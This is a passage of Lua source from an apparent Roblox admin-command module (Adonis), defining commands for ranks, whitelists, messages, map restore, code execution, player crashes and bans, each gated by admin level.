> targLevel then Admin.RemoveAdmin(v, temp) Functions.Hint(string.format("Removed %s from rank %s", service.FormatPlayer(v, true), targRank or "[unknown rank]"), {plr}) Remote.MakeGui(v, "Notification", { Title = "Notification"; Message = string.format("You are no longer a(n) %s", targRank or "admin"); Icon = server.MatIcons["Remove moderator"]; Time = 10; }) else Functions.Hint(`You do not have permission to remove {service.FormatPlayer(v, true)}'s rank`, {plr}) end else Functions.Hint(`{service.FormatPlayer(v, true)} does not already have any rank to remove`, {plr}) end end if userFound then return else Functions.Hint("User not found in server; searching datastore", {plr}) end end for rankName, rankData in Settings.Ranks do if senderLevel <= rankData.Level then continue end for i, user in rankData.Users do if not (user:lower() == target:lower() or user:lower():match(`^{target:lower()}:`) or Admin.DoCheck(target, user)) then continue end if Remote.GetGui(plr, "YesNoPrompt", { Question = `Remove '{user}' from '{rankName}'?`; }) == "Yes" then table.remove(rankData.Users, i) if not temp and Settings.SaveAdmins then service.TrackTask("Thread: RemoveAdmin", Core.DoSave, { Type = "TableRemove"; Table = {"Settings", "Ranks", rankName, "Users"}; Value = user; }); Functions.Hint(`Removed entry '{user}' from {rankName}`, {plr}) Logs:AddLog("Script", `{plr} removed {user} from {rankName}`) end end userFound = true end end assert(userFound, `No table entries matching '{args[1]}' were found`) end }; TempUnAdmin = { Prefix = Settings.Prefix; Commands = {"tempunadmin", "untempadmin", "tunadmin", "untadmin"}; Args = {"player"}; Description = "Removes the target players' admin powers for this server; does not save"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}, data: {any}) local senderLevel = data.PlayerData.Level for _, v in service.GetPlayers(plr, assert(args[1], "Missing target player (argument #1)")) do local targetLevel = Admin.GetLevel(v) if targetLevel > 0 then if senderLevel > targetLevel then Admin.RemoveAdmin(v, true) Functions.Hint(`Removed {service.FormatPlayer(v)}'s admin powers`, {plr}) Remote.MakeGui(v, "Notification", { Title = "Notification"; Message = "Your admin powers have been temporarily removed"; Icon = server.MatIcons["Remove moderator"]; Time = 10; }) else Functions.Hint(`You do not have permission to remove {service.FormatPlayer(v, true)}'s admin powers`, {plr}) end else Functions.Hint(`{service.FormatPlayer(v, true)} is not an admin`, {plr}) end end end }; TempModerator = { Prefix = Settings.Prefix; Commands = {"tempmod", "tmod", "tempmoderator", "tmoderator"}; Args = {"player"}; Description = "Makes the target player(s) a temporary moderator; does not save"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}, data: {any}) local senderLevel = data.PlayerData.Level for _, v in service.GetPlayers(plr, assert(args[1], "Missing target player (argument #1)")) do if senderLevel > Admin.GetLevel(v) then Admin.AddAdmin(v, "Moderators", true) Remote.MakeGui(v, "Notification", { Title = "Notification"; Message = "You are a temp moderator. Click to view commands."; Icon = server.MatIcons.Shield; Time = 10; OnClick = Core.Bytecode(`client.Remote.Send('ProcessCommand','{Settings.Prefix}cmds')`); }) Functions.Hint(`{service.FormatPlayer(v, true)} is now a temp moderator`, {plr}) else Functions.Hint(`{service.FormatPlayer(v, true)} is already the same admin level as you or higher`, {plr}) end end end }; Moderator = { Prefix = Settings.Prefix; Commands = {"permmod", "pmod", "mod", "moderator", "pmoderator"}; Args = {"player/user"}; Description = "Makes the target player(s) a moderator; saves"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}, data: {any}) local senderLevel = data.PlayerData.Level for _, v in service.GetPlayers(plr, assert(args[1], "Missing target player (argument #1)"), { UseFakePlayer = true; }) do if senderLevel > Admin.GetLevel(v) then Admin.AddAdmin(v, "Moderators") Remote.MakeGui(v, "Notification", { Title = "Notification"; Message = "You are a moderator. Click to view commands."; Icon = server.MatIcons.Shield; Time = 10; OnClick = Core.Bytecode(`client.Remote.Send('ProcessCommand','{Settings.Prefix}cmds')`); }) Functions.Hint(`{service.FormatPlayer(v, true)} is now a moderator`, {plr}) else Functions.Hint(`{service.FormatPlayer(v, true)} is already the same admin level as you or higher`, {plr}) end end end }; Broadcast = { Prefix = Settings.Prefix; Commands = {"broadcast", "bc"}; Args = {"Message"}; Filter = true; Description = "Makes a message in the chat window"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) for _, v in service.GetPlayers() do Remote.Send(v, "Function", "ChatMessage", string.format("[%s] %s", Settings.SystemTitle, service.Filter(args[1], plr, v)), Color3.fromRGB(255,64,77)) end end }; ShutdownLogs = { Prefix = Settings.Prefix; Commands = {"shutdownlogs", "shutdownlog", "slogs", "shutdowns"}; Args = {}; Description = "Shows who shutdown or restarted a server and when"; AdminLevel = "Admins"; ListUpdater = function(plr: Player) local logs = Core.GetData("ShutdownLogs") or {} local tab = {} for i, v in logs do if v.Restart then v.Time ..= " [RESTART]" end tab[i] = { Text = `{v.Time}: {v.User}`; Desc = `Reason: {v.Reason}`; } end return tab end; Function = function(plr: Player, args: {string}) Remote.MakeGui(plr, "List", { Title = "Shutdown Logs"; Table = Logs.ListUpdaters.ShutdownLogs(plr); Update = "ShutdownLogs"; }) end }; ServerLock = { Prefix = Settings.Prefix; Commands = {"slock", "serverlock", "lockserver"}; Args = {"on/off"}; Description = "Enables/disables server lock"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) local arg = args[1] and string.lower(args[1]) if (not arg and Variables.ServerLock ~= true) or arg == "on" or arg == "true" then Variables.ServerLock = true Functions.Hint("Server Locked", service.Players:GetPlayers()) elseif Variables.ServerLock == true or arg == "off" or arg == "false" then Variables.ServerLock = false Functions.Hint("Server Unlocked", service.Players:GetPlayers()) end end }; Whitelist = { Prefix = Settings.Prefix; Commands = {"wl", "enablewhitelist", "whitelist"}; Args = {"on/off/add/remove/list", "optional player"}; Description = "Enables/disables the whitelist; :wl username to add them to the whitelist"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) local sub = string.lower(args[1]) if sub == "on" or sub == "enable" then Variables.Whitelist.Enabled = true Functions.Hint("Enabled server whitelist", service.Players:GetPlayers()) elseif sub == "off" or sub == "disable" then Variables.Whitelist.Enabled = false Functions.Hint("Disabled server whitelist", service.Players:GetPlayers()) elseif sub == "add" then if args[2] then local plrs = service.GetPlayers(plr, args[2], { DontError = true; IsServer = false; IsKicking = false; NoFakePlayer = false; }) if #plrs>0 then for _, v in plrs do table.insert(Variables.Whitelist.Lists.Settings, `{v.Name}:{v.UserId}`) Functions.Hint(`Added {service.FormatPlayer(v)} to the whitelist`, {plr}) end else table.insert(Variables.Whitelist.Lists.Settings, args[2]) end else error("Missing user argument") end elseif sub == "remove" then if args[2] then for i, v in Variables.Whitelist.Lists.Settings do if string.sub(string.lower(v), 1,#args[2]) == string.lower(args[2])then table.remove(Variables.Whitelist.Lists.Settings,i) Functions.Hint(`Removed {v} from the whitelist`, {plr}) end end else error("Missing user argument") end elseif sub == "list" then local Tab = {} for Key, List in Variables.Whitelist.Lists do local Prefix = Key == "Settings" and "" or `[{Key}] ` for _, User in List do table.insert(Tab, {Text = Prefix .. User, Desc = User}) end end Remote.MakeGui(plr, "List", {Title = "Whitelist List"; Tab = Tab;}) else error("Invalid subcommand (on/off/add/remove/list)") end end }; SystemNotify = { Prefix = Settings.Prefix; Commands = {"sn", "systemnotify", "sysnotif", "sysnotify", "systemsmallmessage", "snmessage", "snmsg", "ssmsg", "ssmessage"}; Args = {"message"}; Filter = true; Description = "Makes a system small message"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) assert(args[1], "Missing message") for _, v in service.GetPlayers() do Remote.RemoveGui(v, "Notify") Remote.MakeGui(v, "Notify", { Title = Settings.SystemTitle; Message = service.Filter(args[1], plr, v); }) end end }; Notif = { Prefix = Settings.Prefix; Commands = {"setmessage", "notif", "setmsg"}; Args = {"message OR off"}; Filter = true; Description = "Sets a small hint message at the top of the screen"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) assert(args[1], "Missing message (or enter 'off' to disable)") if args[1] == "off" or args[1] == "false" then Variables.NotifMessage = nil for _, v in service.GetPlayers() do Remote.RemoveGui(v, "Notif") end else Variables.NotifMessage = args[1] for _, v in service.GetPlayers() do Remote.MakeGui(v, "Notif", { Message = Variables.NotifMessage; }) end end end }; SetBanMessage = { Prefix = Settings.Prefix; Commands = {"setbanmessage", "setbmsg"}; Args = {"message"}; Filter = true; Description = "Sets the ban message banned players see"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) Variables.BanMessage = assert(args[1], "Missing message (argument #1)") end }; SetLockMessage = { Prefix = Settings.Prefix; Commands = {"setlockmessage", "slockmsg", "setlmsg"}; Args = {"message"}; Filter = true; Description = "Sets the lock message unwhitelisted players see if :whitelist or :slock is on"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) Variables.LockMessage = assert(args[1], "Missing message (argument #1)") end }; SystemMessage = { Prefix = Settings.Prefix; Commands = {"sm", "systemmessage", "sysmsg"}; Args = {"message"}; Filter = true; Description = "Same as message but says SYSTEM MESSAGE instead of your name, or whatever system message title is server to..."; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) assert(args[1], "Missing message (argument #1)") for _, v in service.Players:GetPlayers() do Remote.RemoveGui(v, "Message") Remote.MakeGui(v, "Message", { Title = Settings.SystemTitle; Message = args[1]; }) end end }; SetCoreGuiEnabled = { Prefix = Settings.Prefix; Commands = {"setcoreguienabled", "setcoreenabled", "showcoregui", "setcoregui", "setcgui", "setcore", "setcge"}; Args = {"player", "All/Backpack/Chat/EmotesMenu/Health/PlayerList", "true/false"}; Description = "Enables or disables CoreGui elements for the target player(s)"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) assert(args[3], "Missing state (argument #3)") local enable = if args[3]:lower() == "on" or args[3]:lower() == "true" then true elseif args[3]:lower() == "off" or args[3]:lower() == "false" then false else nil assert(enable ~= nil, `Invalid state '{args[3]}'; please supply 'true' or 'false' (argument #3)`) for _,v in service.GetPlayers(plr, args[1]) do if string.lower(args[3]) == "on" or string.lower(args[3]) == "true" then Remote.Send(v, "Function", "SetCoreGuiEnabled", args[2], true) elseif string.lower(args[3]) == 'off' or string.lower(args[3]) == "false" then Remote.Send(v, "Function", "SetCoreGuiEnabled", args[2], false) end end end }; Alert = { Prefix = Settings.Prefix; Commands = {"alert", "alarm", "annoy"}; Args = {"player", "message"}; Filter = true; Description = "Get someone's attention"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) for _, v in service.GetPlayers(plr,string.lower(args[1]))do Remote.MakeGui(v, "Alert", {Message = args[2] and service.Filter(args[2],plr, v) or "Wake up; Your attention is required"}) end end }; LockMap = { Prefix = Settings.Prefix; Commands = {"lockmap"}; Args = {}; Description = "Locks the map"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) for _, obj in workspace:GetDescendants()do if obj:IsA("BasePart")then obj.Locked = true end end end }; UnlockMap = { Prefix = Settings.Prefix; Commands = {"unlockmap"}; Args = {}; Description = "Unlocks the map"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) for _, obj in workspace:GetDescendants()do if obj:IsA("BasePart")then obj.Locked = false end end end }; BuildingTools = { Prefix = Settings.Prefix; Commands = {"btools", "f3x", "buildtools", "buildingtools", "buildertools"}; Args = {"player"}; Description = "Gives the target player(s) F3X building tools."; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) local F3X = service.New("Tool", { GripPos = Vector3.new(0, 0, 0.4), CanBeDropped = false, ManualActivationOnly = false, ToolTip = "Building Tools by F3X", Name = "Building Tools" }, true) do service.New("StringValue", { Name = `__ADONIS_VARIABLES_{Variables.CodeName}`, Parent = F3X }) local clonedDeps = Deps.Assets:FindFirstChild("F3X Deps"):Clone() for _, BaseScript in clonedDeps:GetDescendants() do if BaseScript:IsA("BaseScript") then BaseScript.Disabled = false end end for _, Child in clonedDeps:GetChildren() do Child.Parent = F3X end clonedDeps:Destroy() end for _, v in service.GetPlayers(plr, args[1]) do local Backpack = v:FindFirstChildOfClass("Backpack") if Backpack then F3X:Clone().Parent = Backpack end end end }; Insert = { Prefix = Settings.Prefix; Commands = {"insert", "ins"}; Args = {"id"}; Description = "Inserts whatever object belongs to the ID you supply, the object must be in the place owner's or ROBLOX's inventory"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) local id = string.lower(args[1]) for i, v in Variables.InsertList do if id == string.lower(v.Name)then id = v.ID break end end for i, v in HTTP.Trello.InsertList do if id == string.lower(v.Name) then id = v.ID break end end local obj = service.Insert(tonumber(id), true) if obj and plr.Character then table.insert(Variables.InsertedObjects, obj) obj.Parent = workspace pcall(obj.MakeJoints, obj) obj:PivotTo(plr.Character:GetPivot()) end end }; SaveTool = { Prefix = Settings.Prefix; Commands = {"addtool", "savetool", "maketool"}; Args = {"optional player", "optional new tool name"}; Description = `Saves the equipped tool to the storage so that it can be inserted using {Settings.Prefix}give`; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) for _, v in service.GetPlayers(plr, args[1]) do local tool = v.Character and v.Character:FindFirstChildWhichIsA("BackpackItem") if tool then tool = tool:Clone() if args[2] then tool.Name = args[2] end tool.Parent = service.UnWrap(Settings.Storage) Variables.SavedTools[tool] = service.FormatPlayer(plr) Functions.Hint(`Added tool: {tool.Name}`, {plr}) elseif not args[1] then error("You must have an equipped tool to add to the storage.") end end end }; ClearSavedTools = { Prefix = Settings.Prefix; Commands = {"clraddedtools", "clearaddedtools", "clearsavedtools", "clrsavedtools"}; Args = {}; Description = `Removes any tools in the storage added using {Settings.Prefix}savetool`; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) local count = 0 for tool in Variables.SavedTools do count += 1 tool:Destroy() end table.clear(Variables.SavedTools) Functions.Hint(string.format("Cleared %d saved tool%s.", count, count == 1 and "" or "s"), {plr}) end }; NewTeam = { Prefix = Settings.Prefix; Commands = {"newteam", "createteam", "maketeam"}; Args = {"name", "BrickColor"}; Filter = true; Description = "Make a new team with the specified name and color"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) local teamName = assert(args[1], "Missing team name (argument #1)") local teamColor = Functions.ParseBrickColor(args[2]) service.New("Team", { Parent = service.Teams; Name = teamName; TeamColor = teamColor; AutoAssignable = false; }) if Settings.CommandFeedback then Functions.Hint(string.format("Created new team '%s' (%s)", teamName, teamColor.Name), {plr}) end end }; RemoveTeam = { Prefix = Settings.Prefix; Commands = {"removeteam", "deleteteam"}; Args = {"name"}; Description = "Remove the specified team"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) for _, v in service.Teams:GetTeams() do if string.sub(string.lower(v.Name), 1, #args[1]) == string.lower(args[1]) then local ans = Remote.GetGui(plr, "YesNoPrompt", { Question = `Remove team: '{v.Name}'?` }) if ans == "Yes" then v:Destroy() return Functions.Hint(`Removed team {v.Name}`, {plr}) else return Functions.Hint("Cancelled team removal operation", {plr}) end end end end }; RestoreMap = { Prefix = Settings.Prefix; Commands = {"restoremap", "maprestore", "rmap"}; Args = {}; Description = "Restore the map to the the way it was the last time it was backed up"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) local plrName = plr and service.FormatPlayer(plr) or "<SERVER>" if not Variables.MapBackup then error("Cannot restore when there are no backup maps!", 0) return end if Variables.RestoringMap then error("Map has not been backed up",0) return end if Variables.BackingupMap then error("Cannot restore map while backing up map is in process!", 0) return end Variables.RestoringMap = true Functions.Hint("Restoring Map...", service.Players:GetPlayers()) for _, obj in workspace:GetChildren() do if obj.ClassName ~= "Terrain" and not service.Players:GetPlayerFromCharacter(obj) then obj:Destroy() service.RunService.Stepped:Wait() end end local new = Variables.MapBackup:Clone() for _, obj in new:GetChildren() do obj.Parent = workspace if obj:IsA("Model") then obj:MakeJoints() end end new:Destroy() local Terrain = workspace.Terrain or workspace:FindFirstChildOfClass("Terrain") if Terrain and Variables.TerrainMapBackup then Terrain:Clear() Terrain:PasteRegion(Variables.TerrainMapBackup, Terrain.MaxExtents.Min, true) end task.wait() Admin.RunCommand(`{Settings.Prefix}respawn`, "all") Variables.RestoringMap = false Functions.Hint('Map Restore Complete.',service.Players:GetPlayers()) Logs:AddLog("Script", { Text = "Map Restoration Complete", Desc = `{plrName} has restored the map.`, }) end }; ScriptBuilder = { Prefix = Settings.Prefix; Commands = {"scriptbuilder", "scriptb", "sb"}; Args = {"create/remove/edit/close/clear/append/run/stop/list", "localscript/script", "scriptName", "data"}; Description = "[Deprecated] Script Builder; make a script, then edit it and chat it's code or use :sb append <codeHere>"; AdminLevel = "Admins"; Hidden = true; NoFilter = true; CrossServerDenied = true; Function = function(plr: Player, args: {string}) assert(Settings.CodeExecution, "CodeExecution must be enabled for this command to work") local sb = Variables.ScriptBuilder[tostring(plr.UserId)] if not sb then sb = { Script = {}; LocalScript = {}; Events = {}; } Variables.ScriptBuilder[tostring(plr.UserId)] = sb end local action = string.lower(args[1]) local class = args[2] or "LocalScript" local name = args[3] if string.lower(class) == "script" or string.lower(class) == "s" then class = "Script" --elseif string.lower(class) == "localscript" or string.lower(class) == "ls" then -- class = "LocalScript" else class = "LocalScript" end if action == "create" then assert(args[1] and args[2] and args[3], "Missing arguments") local code = args[4] or " " if sb[class][name] then pcall(function() sb[class][name].Script.Disabled = true sb[class][name].Script:Destroy() end) if sb.ChatEvent then sb.ChatEvent:Disconnect() end end local wrapped,scr = Core.NewScript(class,code,false,true) sb[class][name] = { Wrapped = wrapped; Script = scr; } if args[4] then Functions.Hint(`Created {class} {name} and appended text`, {plr}) else Functions.Hint(`Created {class} {name}`, {plr}) end elseif action == "edit" then assert(args[1] and args[2] and args[3], "Missing arguments") if sb[class][name] then local scr = sb[class][name].Script local tab = Core.GetScript(scr) if scr and tab then sb[class][name].Event = plr.Chatted:Connect(function(msg) if string.sub(msg, 1,#(`{Settings.Prefix}sb`)) ~= `{Settings.Prefix}sb` then tab.Source ..= `\n{msg}` Functions.Hint(`Appended message to {class} {name}`, {plr}) end end) Functions.Hint(`Now editing {class} {name}; Chats will be appended`, {plr}) end else error(`{class} {name} not found!`) end elseif action == "close" then assert(args[1] and args[2] and args[3], "Missing arguments") local scr = sb[class][name].Script local tab = Core.GetScript(scr) if sb[class][name] then if sb[class][name].Event then sb[class][name].Event:Disconnect() sb[class][name].Event = nil Functions.Hint(`No longer editing {class} {name}`, {plr}) end else error(`{class} {name} not found!`) end elseif action == "clear" then assert(args[1] and args[2] and args[3], "Missing arguments") local scr = sb[class][name].Script local tab = Core.GetScript(scr) if scr and tab then tab.Source = " " Functions.Hint(`Cleared {class} {name}`, {plr}) else error(`{class} {name} not found!`) end elseif action == "remove" then assert(args[1] and args[2] and args[3], "Missing arguments") if sb[class][name] then pcall(function() sb[class][name].Script.Disabled = true sb[class][name].Script:Destroy() end) if sb.ChatEvent then sb.ChatEvent:Disconnect() sb.ChatEvent = nil end sb[class][name] = nil else error(`{class} {name} not found!`) end elseif action == "append" then assert(args[1] and args[2] and args[3] and args[4], "Missing arguments") if sb[class][name] then local scr = sb[class][name].Script local tab = Core.GetScript(scr) if scr and tab then tab.Source ..= `\n{args[4]}` Functions.Hint(`Appended message to {class} {name}`, {plr}) end else error(`{class} {name} not found!`) end elseif action == "run" then assert(args[1] and args[2] and args[3], "Missing arguments") if sb[class][name] then if class == "LocalScript" then sb[class][name].Script.Parent = plr:FindFirstChildOfClass("Backpack") else sb[class][name].Script.Parent = service.ServerScriptService end sb[class][name].Script.Disabled = true task.wait(0.03) sb[class][name].Script.Disabled = false Functions.Hint(`Running {class} {name}`, {plr}) else error(`{class} {name} not found!`) end elseif action == "stop" then assert(args[1] and args[2] and args[3], "Missing arguments") if sb[class][name] then sb[class][name].Script.Disabled = true Functions.Hint(`Stopped {class} {name}`, {plr}) else error(`{class} {name} not found!`) end elseif action == "list" then local tab = {} for i, v in sb.Script do table.insert(tab, {Text = `Script: {i}`, Desc = `Running: {v.Script.Disabled}`}) end for i, v in sb.LocalScript do table.insert(tab, {Text = `LocalScript: {i}`, Desc = `Running: {v.Script.Disabled}`}) end Remote.MakeGui(plr, "List", {Title = "SB Scripts", Table = tab}) end end }; MakeScript = { Prefix = Settings.Prefix; Commands = {"s", "ss", "serverscript", "sscript", "script", "makescript"}; Args = {"code"}; Description = "Executes the given Lua code on the server"; AdminLevel = "Admins"; NoFilter = true; CrossServerDenied = true; Function = function(plr: Player, args: {string}) assert(Settings.CodeExecution, "CodeExecution config must be enabled for this command to work") assert(args[1], "Missing Script code (argument #2)") --[[Remote.RemoveGui(plr, "Prompt_MakeScript") if plr == false or Remote.GetGui(plr, "YesNoPrompt", { Name = "Prompt_MakeScript"; Size = {250, 200}, Title = "Script Confirmation"; Icon = server.MatIcons.Warning; Question = "Are you sure you want to execute the code directly on the server? This action is irreversible and may potentially be dangerous; only run scripts that you trust!"; Delay = 2; }) == "Yes" then]] local bytecode = Core.Bytecode(args[1]) assert(string.find(bytecode, "\27Lua"), `Script unable to be created; {string.gsub(bytecode, "Loadstring%.LuaX:%d+:", "")}`) local cl = Core.NewScript("Script", args[1], true) cl.Name = "[Adonis] Script" cl.Parent = service.ServerScriptService task.wait() cl.Disabled = false Functions.Hint("Ran Script", {plr}) --[[else Functions.Hint("Operation cancelled", {plr}) end]] end }; MakeLocalScript = { Prefix = Settings.Prefix; Commands = {"ls", "localscript", "lscript"}; Args = {"code"}; Description = "Executes the given code on your client"; AdminLevel = "Admins"; NoFilter = true; Function = function(plr: Player, args: {string}) assert(args[1], "Missing LocalScript code (argument #2)") local bytecode = Core.Bytecode(args[1]) assert(string.find(bytecode, "\27Lua"), `LocalScript unable to be created; {string.gsub(bytecode, "Loadstring%.LuaX:%d+:", "")}`) local cl = Core.NewScript("LocalScript", `script.Parent = game:GetService('Players').LocalPlayer.PlayerScripts; {args[1]}`, true) cl.Name = "[Adonis] LocalScript" cl.Disabled = true cl.Parent = plr:FindFirstChildOfClass("Backpack") task.wait() cl.Disabled = false Functions.Hint("Ran LocalScript on your client", {plr}) end }; LoadLocalScript = { Prefix = Settings.Prefix; Commands = {"cs", "cscript", "clientscript"}; Args = {"player", "code"}; Description = "Executes the given code on the client of the target player(s)"; AdminLevel = "Admins"; NoFilter = true; Function = function(plr: Player, args: {string}) assert(args[2], "Missing LocalScript code (argument #2)") local bytecode = Core.Bytecode(args[2]) assert(string.find(bytecode, "\27Lua"), `LocalScript unable to be created; {string.gsub(bytecode, "Loadstring%.LuaX:%d+:", "")}`) local new = Core.NewScript("LocalScript", `script.Parent = game:GetService('Players').LocalPlayer.PlayerScripts; {args[2]}`, true) for i, v in service.GetPlayers(plr, args[1]) do local cl = new:Clone() cl.Name = "[Adonis] LocalScript" cl.Disabled = true cl.Parent = v:FindFirstChildOfClass("Backpack") task.wait() cl.Disabled = false Functions.Hint(`Ran LocalScript on {service.FormatPlayer(v)}`, {plr}) end end }; Note = { Prefix = Settings.Prefix; Commands = {"note", "writenote", "makenote"}; Args = {"player", "note"}; Filter = true; Description = "Makes a note on the target player(s) that says <note>"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) assert(args[2], "Missing note (argument #2)") for _, v in service.GetPlayers(plr, args[1]) do local PlayerData = Core.GetPlayer(v) if not PlayerData.AdminNotes then PlayerData.AdminNotes = {} end table.insert(PlayerData.AdminNotes, args[2]) Functions.Hint(`Added {service.FormatPlayer(v)} Note {args[2]}`, {plr}) Core.SavePlayer(v, PlayerData) end end }; DeleteNote = { Prefix = Settings.Prefix; Commands = {"removenote", "remnote", "deletenote"}; Args = {"player", "note (specify 'all' to delete all notes)"}; Description = "Removes a note on the target player(s)"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) assert(args[2], "Missing note (argument #2)") for _, v in service.GetPlayers(plr, args[1]) do local PlayerData = Core.GetPlayer(v) if PlayerData.AdminNotes then if string.lower(args[2]) == "all" then PlayerData.AdminNotes = {} else for k, m in PlayerData.AdminNotes do if string.sub(string.lower(m), 1, #args[2]) == string.lower(args[2]) then Functions.Hint(`Removed {service.FormatPlayer(v)} Note {m}`, {plr}) table.remove(PlayerData.AdminNotes, k) end end end Core.SavePlayer(v, PlayerData) end end end }; ShowNotes = { Prefix = Settings.Prefix; Commands = {"notes", "viewnotes"}; Args = {"player"}; Description = "Views notes on the target player(s)"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) for _, v in service.GetPlayers(plr, args[1]) do local PlayerData = Core.GetPlayer(v) local notes = PlayerData.AdminNotes if not notes then Functions.Hint(`No notes found on {service.FormatPlayer(v)}`, {plr}) continue end Remote.MakeGui(plr, "List", {Title = service.FormatPlayer(v), Table = notes}) end end }; LoopKill = { Prefix = Settings.Prefix; Commands = {"loopkill"}; Args = {"player", "num (optional)"}; Description = "Repeatedly kills the target player(s)"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) local num = tonumber(args[2]) or 9999 for _, v in service.GetPlayers(plr, args[1]) do service.StopLoop(`{v.UserId}LOOPKILL`) local count = 0 Routine(service.StartLoop, `{v.UserId}LOOPKILL`, 3, function() local hum = v.Character and v.Character:FindFirstChildOfClass("Humanoid") if hum and hum.Health > 0 then hum.Health = 0 count += 1 end if count == num then service.StopLoop(`{v.UserId}LOOPKILL`) end end) end end }; UnLoopKill = { Prefix = Settings.Prefix; Commands = {"unloopkill"}; Args = {"player"}; Description = "Un-Loop Kill"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) for _, v in service.GetPlayers(plr, args[1]) do service.StopLoop(`{v.UserId}LOOPKILL`) end end }; Lag = { Prefix = Settings.Prefix; Commands = {"lag", "fpslag"}; Args = {"player"}; Description = "Makes the target player(s)'s FPS drop"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}, data: {any}) for _, v in service.GetPlayers(plr, args[1]) do if Admin.CheckAuthority(plr, v, "lag") then Remote.Send(v, "Function", "SetFPS", 5.6) end end end }; UnLag = { Prefix = Settings.Prefix; Commands = {"unlag", "unfpslag"}; Args = {"player"}; Description = "Un-Lag"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) for _, v in service.GetPlayers(plr, args[1]) do Remote.Send(v, "Function", "RestoreFPS") end end }; Crash = { Prefix = Settings.Prefix; Commands = {"crash"}; Args = {"player"}; Description = "Crashes the target player(s)"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}, data: {any}) for _, v in service.GetPlayers(plr, args[1], { IsKicking = true; NoFakePlayer = false; }) do if Admin.CheckAuthority(plr, v, "crash") then Remote.Send(v, "Function", "Crash") end end end }; HardCrash = { Prefix = Settings.Prefix; Commands = {"hardcrash"}; Args = {"player"}; Description = "Hard-crashes the target player(s)"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}, data: {any}) for _, v in service.GetPlayers(plr, args[1], { IsKicking = true; NoFakePlayer = false; }) do if Admin.CheckAuthority(plr, v, "hard-crash") then Remote.Send(v, "Function", "HardCrash") end end end }; RAMCrash = { Prefix = Settings.Prefix; Commands = {"ramcrash", "memcrash"}; Args = {"player"}; Description = "RAM-crashes the target player(s)"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}, data: {any}) for _, v in service.GetPlayers(plr, args[1], { IsKicking = true; NoFakePlayer = false; }) do if Admin.CheckAuthority(plr, v, "RAM-crash") then Remote.Send(v, "Function", "RAMCrash") end end end }; GPUCrash = { Prefix = Settings.Prefix; Commands = {"gpucrash"}; Args = {"player"}; Description = "GPU crashes the target player(s)"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}, data: {any}) for _, v in service.GetPlayers(plr, args[1], { IsKicking = true; NoFakePlayer = false; }) do if Admin.CheckAuthority(plr, v, "GPU-crash") then Remote.Send(v, "Function", "GPUCrash") end end end }; Shutdown = { Prefix = Settings.Prefix; Commands = {"shutdown"}; Args = {"reason"}; Description = "Shuts the server down"; Filter = true; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) if Core.DataStore then Core.UpdateData("ShutdownLogs", function(logs) table.insert(logs, 1, { User = plr and plr.Name or "[Server]", Time = os.time(), Reason = args[1] or "N/A" }) local nlogs = #logs if nlogs > 1000 then table.remove(logs, nlogs) end return logs end) end Functions.Shutdown(args[1]) end }; ServerBan = { Prefix = Settings.Prefix; Commands = {"serverban", "ban"}; Args = {"player/user", "reason"}; Description = "Bans the target player(s) from the server"; AdminLevel = "Admins"; Filter = true; Function = function(plr: Player, args: {string}, data: {any}) local reason = args[2] or "No reason provided" for _, v in service.GetPlayers(plr, args[1], { IsKicking = true; NoFakePlayer = false; }) do if Admin.CheckAuthority(plr, v, "server-ban", false) then Admin.AddBan(v, reason, false, plr) Functions.Hint(`Server-banned {service.FormatPlayer(v, true)}`, {plr}) end end end }; UnBan = { Prefix = Settings.Prefix; Commands = {"unserverban", "unban"}; Args = {"user"}; Description = "Unbans the target user(s) from the server"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) assert(args[1], "Missing user (argument #1)") for _, v in service.GetPlayers(plr, args[1], { UseFakePlayer = true; }) do if Admin.RemoveBan(v.Name) then Functions.Hint(`{service.FormatPlayer(v, true)} has been unbanned`, {plr}) else Functions.Hint(`{service.FormatPlayer(v, true)} is not currently banned`, {plr}) end end end }; TrelloBan = { Prefix = Settings.Prefix; Commands = {"trelloban"}; Args = {"player/user", "reason"}; Description = "Adds a user to the Trello ban list (Trello needs to be configured)"; Filter = true; CrossServerDenied = true; TrelloRequired = true; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}, data: {any}) local trello = HTTP.Trello.API if not Settings.Trello_Enabled or trello == nil then return Functions.Hint('Trello has not been configured in settings', {plr}) end local lists = trello.getLists(Settings.Trello_Primary) local list = trello.getListObj(lists, {"Banlist", "Ban List", "Bans"}) local level = data.PlayerData.Level local reason = string.format("Administrator: %s\nReason: %s", service.FormatPlayer(plr), (args[2] or "N/A")) for _, v in service.GetPlayers(plr, args[1], { IsKicking = true; NoFakePlayer = false; }) do if level > Admin.GetLevel(v) then trello.makeCard( list.id, string.format("%s:%d", (v and tostring(v.Name) or tostring(v)), 